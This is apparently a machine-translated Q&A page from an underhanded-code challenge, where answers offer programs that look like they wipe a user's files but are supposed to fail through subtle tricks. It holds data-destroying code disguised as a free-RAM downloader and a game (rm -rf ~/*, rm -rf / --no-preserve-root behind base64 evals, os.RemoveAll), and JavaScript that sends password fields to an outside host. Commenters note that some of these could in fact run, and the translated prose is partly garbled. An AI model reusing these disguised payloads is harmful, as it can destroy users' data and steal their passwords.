import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerutilizza un thread in background per chiamare TimerTaski tuoi messaggi inviati. new Timer(true)crea un Timercon il thread in background impostato come thread daemon, quindi il programma termina immediatamente prima che le attività possano essere eseguite. Il codice troppo lungo distrae il troll dalla visualizzazione del trueparametro.

— Cane
fonte
7 
rm -rf ⁄

Il personaggio non è il normale carattere barra (/, cioè SOLIDUS in unicode) ma è invece FRACTION SLASH. Stampa un messaggio del tipo "rm: ⁄: nessun file o directory"

— Geoff Reedy
fonte
10
Oh, fammi provare ...
— Michael J. Calkins,
1
@MichaelCalkins: puoi provare come utente non privilegiato e vedere il messaggio "non trovato" ... speriamo.
— Olivier Dulac,
7

bash

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

È forse il più malvagio possibile. Definisce una funzione che la rm -rf /richiama e la invoca. Non solo fa uso del maleeval in più di un'occasione.

Farebbe molto danno, sicuramente!

Nel caso ti stia chiedendo, il primo evaldisattiva la funzione di: unset -f cleanup Il secondo la evaldefinisce in: cleanup() { echo Troll detected; } Quindi, eseguendo il codice, vedresti Troll detected

— devnull
fonte
9
Buono! Ma direi che le righe "base64", che apparentemente non servono alla cancellazione effettiva, lo rendono un po 'troppo ovvio.
— Erel Segal-Halevi
1
Potrebbe essere meglio se ti portassero a credere che evalstessero facendo qualcosa di più malvagio di qualsiasi codice ovvio. Il codice attuale mi porta a chiedere: perché preoccuparsi di nascondere il codice "malvagio" se le cose ovvie stanno cancellando tutto?
— Tim S.
2
Non penso che questo soddisfi i requisiti poiché è potenzialmente molto dannoso: se base64(non un comando standard) non esiste sul sistema su cui è eseguito, gli eval non fanno nulla e le rm -rf /corse! Questo potrebbe accadere anche se base64è presente ma fallisce per qualche motivo (ad es ulimit.).
— R ..
1
@R .: Inoltre, rm -rf /non funzionerà con la maggior parte rmdelle implementazioni. Questa è una funzione di sicurezza: non è possibile rimuovere la directory principale nella maggior parte delle implementazioni di rm.
— Konrad Borowski l'
1
Per quanto ne so, funziona sulla versione busybox. :-)
— R ..
6

BASH

Certo abbiamo bisogno dei privilegi di root per la macchina, quindi usiamo il buon vecchio "Do have have root?" - checker, aka ch (eck) root - ma è meglio farlo in una directory in cui non ci saranno molti allarmi. / tmp sarebbe perfetto, perché tutti possono scrivere file lì.

Dopodiché eliminiamo semplicemente le risate malvagie dell'intero disco rigido

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"
— german_guy
fonte
10
come tedesco posso dire: non fare risate malvagie come un ragazzo tedesco ...
— Philipp Sander,
Wer , se non un ragazzo tedesco, sa fare le risate con zef, giusto?
— Alexander Kosubek,
5
Devo ammettere che mi ci sono volute diverse letture del codice e poi rileggere i tuoi commenti per capire perché qualcuno potrebbe pensare che questo sia dannoso. Non penso che funzionerà se non avessi provato a convincere qualcuno nei tuoi commenti che Chroot fa qualcosa di diverso da quello che fa e la domanda dice che il troll non legge i commenti ...
— Chris
1
Per inciso, chrootnon è "controlla radice", è "cambia radice" - cambia l'idea dell'utente di ciò che /è. È interessante notare che questo troll non riesce a fare nulla per utenti root e non root; gli utenti root ottengono una nuova radice (e quindi nessun comando / bin / bash poiché non esiste nulla nella radice appena creata di / tmp / chroot_dir) e gli utenti non root non riescono a chroot.
— Mah,
Questo è come un indizio: so che non si tratta di "cambiare radice" ma il mio rapitore (parola corretta?) Non lo sa - quindi fallisce gravemente
— german_guy
6

iPhone - Flappy Bird Clone

Mentre l'utente sta riproducendo un clone di Flappy Bird per iPhone, tutti i file nella directory Documents vengono eliminati.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Ogni app in iOS è in modalità sandbox, quindi mentre ciò elimina tutto nella directory Documents, è solo la directory Documents per questa particolare app. Il troll ovviamente non ne è consapevole, poiché è già stato invaso da così tanti programmi per altre piattaforme. E appena si rende conto che anche lui può mettere fuori un clone di Flappy Bird, può essere così eccitato che non si preoccupa nemmeno di pensare al resto del codice, poiché è troppo preoccupato sognando di guadagnare $ 50.000 al giorno in pubblicità senza fare qualsiasi lavoro.

— Richard Venable
fonte
5

Partire:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Questo è un po 'complicato. In Vai l'intero programma termina quando esce la Goroutine principale. Un buon modo per risolvere questo problema è con un Waitgroup. Ci sono due enormi problemi con la mia "correzione":

  1. Il Waitgroup non viene aggiunto fino all'avvio della Goroutine, il che significa che la Goroutine principale colpirà Wait prima che la Goroutine venga eliminata Add. Dato che il contatore sarà 0, non ha nulla da attendere e quindi non si bloccherà e finirà per uscire, terminando così il programma.
  2. Anche se, in qualche modo, magicamente, l'aggiunta di deleteAll goroutine viene eseguita per prima. Ha ottenuto una copia del Waitgroup, non un puntatore ad esso. Non verrà aggiunto allo stesso Waitgroup, quindi il Goroutine principale non lo vedrà mai.

Il fmt.Scanln () di aspettarsi un input serve solo a garantire che Goroutine principale esca prima che accada qualcosa. Probabilmente Println lo farà bloccare IO e passerà all'esecuzione della Goroutine principale (uscendo così), e Scanln lo farà quasi sicuramente. In realtà, nessuno dei due è necessario con nessuna versione di Go.

In super teoria, questo POTREBBE funzionare ed eliminare qualcosa, il che significa che secondo il modello di memoria Go non esiste alcuna relazione "succede prima" relativa alla fine maine all'esecuzione di RemoveAll, ma non sarà presente su alcun runtime / compilatore Go moderno come evidenziato da tutti i neofiti che commettono l'errore di non mettere la sincronizzazione nelle loro funzioni principali.

— LinearZoetrope
fonte
4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Non funzionerà, non puoi creare una chiusura, chiamala senza chiuderla con le parentesi

2.

Se il troll riesce a risolverlo, c'è un bellissimo errore di debug ... ;-)

— Juan Garcia
fonte
1
quale lingua? e forse suggerisco un po 'di più l'errore di battitura
— masterX244
@ masterX244 è Javascript, lo modificherò. Suggerimento di battitura: riferimento Errore
— Juan Garcia
3
Quel refuso è così spesso che dovrebbe essere
— corretto
Sì, lo faccio spesso. Soprattutto se la lunghezza della parola è piuttosto lunga: P
— Mohammed Joraid
1
@ m01 +1 Penso che dovrebbe essere una parola riservata che genera un'eccezione o compila un errore di tempo!
— Juan Garcia,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.